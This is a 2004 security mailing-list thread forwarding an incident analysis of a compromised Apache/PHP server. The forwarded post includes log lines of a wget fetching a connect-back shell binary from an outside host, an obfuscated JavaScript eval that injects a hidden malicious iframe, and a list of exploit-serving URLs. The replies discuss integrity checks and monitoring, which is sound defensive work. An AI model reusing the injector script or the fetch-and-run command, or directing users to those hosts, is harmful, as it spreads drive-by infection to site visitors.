[Owasp-dotnet] (interresting analysis of a Web Server Attack on Apache) [Fwd: [Full-Disclosure]xpire.info & splitinfinity.info - exploits in the wild]

Sun Oct 24 19:17:57 EDT 2004

Hi,

    But what would the checksum check ? All the attacker needs to do is
put something in the registry and link it to his program which does all
the work ... you can't use the registry in the sum as that would be too
different ... maybe you could include some common keys which could be
used for autostarting programs, etc ... but iirc there are many ways to
autostart a program, not only the reg.

    Perhaps an interesting angle would be to setup a monitoring system
around tools like filemon[1] and regmon[2] and note changes to
interesting locations. Of course, an attacker could simply shutdown
these tools (or, if serving out information to a remote source; fake the
output) so it's not perfect, but could be interesting ... and if the
tool was shutdown it would indicate an attack and the entire server
could be shutdown to prevent too much damage occuring ...

-- Michael

--------------------------------------------
[1] filemon    - http://www.sysinternals.com/ntw2k/source/filemon.shtml
[2] regmon    - http://www.sysinternals.com/ntw2k/source/regmon.shtml

  _____  

From: Dinis Cruz [mailto:dinis at ddplus.net] 
Sent: Sunday, 24 October 2004 10:35 PM
To: owasp-dotnet at lists.sourceforge.net
Cc: eflorio at edmaster.it
Subject: [Owasp-dotnet] (interresting analysis of a Web Server Attack on
Apache) [Fwd: [Full-Disclosure]xpire.info & splitinfinity.info -
exploits in the wild]

See bellow  a post made today by Elia Florio on the Full Disclosure
mailing list.

This is the kind of attacks that I am worried about given the current
insecure Full Trust Asp.Net world (you wouldn't need an exploit, only a
valid account).

The other interesting issue is the Rootkit scenario and the types of
attacks that are possible when the Malicious Hacker changes the behavior
of the underlying OS or Web Server.

I also like the idea of being able to check the md5sum of the core OS
and Web Server. but how can it be done at the moment since there is no
support from Microsoft (i.e. tools and a 'secure' location updated
Microsoft's product's md5sum?)

Dinis
-------- Original Message -------- 
Subject: 	[Full-Disclosure] xpire.info & splitinfinity.info -
exploits in the wild	
Date: 	Sun, 24 Oct 2004 13:47:04 +0200	
From: 	Elia Florio <eflorio at edmaster.it> <mailto:eflorio at edmaster.it> 	
To: 	<full-disclosure at lists.netsys.com>
<mailto:full-disclosure at lists.netsys.com> 	

Hi list,
i'm doing some analysis on a Linux-Mandrake 9.0 web server
of a person that was compromised in October.
In this host now it's installed a special trojan that insert a
malicious <IFRAME> tag into every served .PHP page.

The host is running these services :

Porta 21: 220 ProFTPD 1.2.5 Server (XXXXXXX FTP Server) [server]
Porta 22: SSH-1.99-OpenSSH_3.4p1
Porta 25: 220 XXXXX ESMTP 5.5.1
Porta 110: +OK <XXXX at XXXXXX>
Porta 3306: MySQL 3.23.52
Porte 80/443: Server: Apache-AdvancedExtranetServer/1.3.26 (Mandrake
Linux/6mdk)
sxnet/1.2.4 mod_ssl/2.8.10 OpenSSL/0.9.6g PHP/4.2.3

I've found inside Apache log that the hacker break-in inside the machine
using an overflow and injecting an executable /tmp/a.out via
"qmail-inject".
These are the suspicious log lines :

[Sun Oct  3 03:35:10 2004] [notice] child pid 16012 exit signal
Segmentation
fault (11)
[Sun Oct  3 04:08:34 2004] [notice] child pid 1272 exit signal
Segmentation
fault (11)
[Sun Oct  3 07:18:27 2004] [notice] child pid 4397 exit signal
Segmentation
fault (11)
[Mon Oct  4 02:27:55 2004] [notice] child pid 1203 exit signal
Segmentation
fault (11)
qmail-inject: fatal: unable to parse this line:From: I.T.I.S. S.
CANNIZZARO"
<angdimar at yahoo.it> <mailto:angdimar at yahoo.it> 
[Mon Oct  4 18:43:02 2004] [notice] child pid 4248 exit signal
Segmentation
fault (11)
[Mon Oct  4 22:58:50 2004] [notice] child pid 1190 exit signal
Segmentation
fault (11)
[Tue Oct  5 11:58:13 2004] [notice] child pid 15689 exit signal
Segmentation
fault (11)
qmail-inject: fatal: unable to parse this line:
To: Drugo:Lebowski at libero.it
sh: -c: option requires an argument
--15:50:07--  http://xpire.info/cli.gz
           => `/tmp/a.out'
Resolving xpire.info... fatto.
Connecting to xpire.info[221.139.50.11]:80... connected.HTTP richiesta
inviata, aspetto la risposta... 200 OK
Lunghezza: 19,147 [text/plain]

    0K .......... ........                                   100% 9.97K

15:50:13 (9.97 KB/s) - `/tmp/a.out' salvato [19147/19147]

[Fri Oct  8 20:26:52 2004] [notice] child pid 9647 exit signal
Segmentation
fault (11)
[Sat Oct  9 01:09:51 2004] [notice] child pid 3840 exit signal
Segmentation
fault (11)

Tryin a WGET of http://xpire.info/cli.gz , I get an ELF executable for
Linux,
possible containing a ConnectBack shell. Inside this ELF file you can
grep
these strings:

Usage:  %s host port
 pqrstuvwxyzabcde 0123456789abcdef /dev/ptmx /dev/pty /dev/tty sh -i
Can't
fork pty, bye!
 Fuck you so
 /bin/sh No connect
 Looking up %s... Failed!
 OK
 %u Connect Back

I don't know if the hacker installs in this machine a rootkit, but the
check
of md5sum of
ls, lsof, ps, netstat binaries with other ones from a clean Mandrake
distr.
was good.......

The main problem is finding how the Apache Server (or PHP) was altered
by
the hacker,
because every user that connects to this host now, could be infected by
several HTML/IE recent exploits.
Sniffing an HTTP packet from this host, I've found that *SOMETIMES* (in
a
random way??)
web server inserts a special javascript between HTTP-Header and served
page.
The script is :

<script language=javascript>
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,1
16,1
01,40,34,60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,5
8,47
,47,119,119,119,46,115,112,108,105,116,105,110,102,105,110,105,116,121,4
6,10
5,110,102,111,47,102,97,47,63,100,61,103,101,116,39,32,104,101,105,103,1
04,1
16,61,49,32,119,105,100,116,104,61,49,62,60,47,105,102,114,97,109,101,62
,34,
41))
</script>

Decoding it, I see that it writes inside the page an <IFRAME> tag
pointing
to this url :

<iframe src='http://www.splitinfinity.info/fa/?d=get' height=1
width=1></iframe>

If you surf to this page (don't do this if you use IE or are not
patched)
you could got infected
by several exploits, cause it opens a lot a <iframe> pointing out to
different domains.

I would to list here these domains, cause they are a sources
for exploit studying :

Domain: www.sp2fucked.biz
http://69.50.168.147/user28/counter.htm

Found MHTMLRedir.Exploit
http://213.159.117.133/dl/adv121.php

http://195.178.160.30/js.php?cust=28

http://195.178.160.30/ifr.php?cust=89

http://69.50.168.147/user28/exploit.htm

Found Java class exploit
http://69.50.168.147/user28/exploit2.htm

My questions are :

1) how can I remove this injected Javascript/IFRAME ? I've checked
httpd.conf and a lot of PHP pages,
but I don't found anything.....Is it possible that the hacker install
some
compromised Apache module ..so???

2) anyone knows before these sites (xpire.info or splitinfinity.info)?
why they are still online and are serving trojan/exploit on surfer
browser?
xpire.info is related to "Mike Fox".....but it sounds as a fake Jonh Doe
registration!

      Domain ID:  D5946452-LRMS
      Domain Name:  XPIRE.INFO
      Created On:  23-May-2004 19:41:15 UTC
      Last Updated On:  02-Aug-2004 08:07:20 UTC
      Expiration Date:  23-May-2005 19:41:15 UTC
      Sponsoring Registrar:  Direct Information Pvt Ltd. d/b/a
Directi.com
(R159-LRMS)
      Status:  ACTIVE
      Status:  OK
      Registrant ID:  C4752858-LRMS
      Registrant Name:  Mike Fox
      Registrant Organization:  n/a
      Registrant Street1:  Hali-gali, 77
      Registrant City:  Deli
      Registrant Postal Code:  12345
      Registrant Country:  IN
      Registrant Phone:  +91.226370256
      Registrant Email:  c8idkvtgarwinidkvt38 at yahoo.com

3) how can I understand if a rootkit was installed???

Thanks anyone for replies

EF

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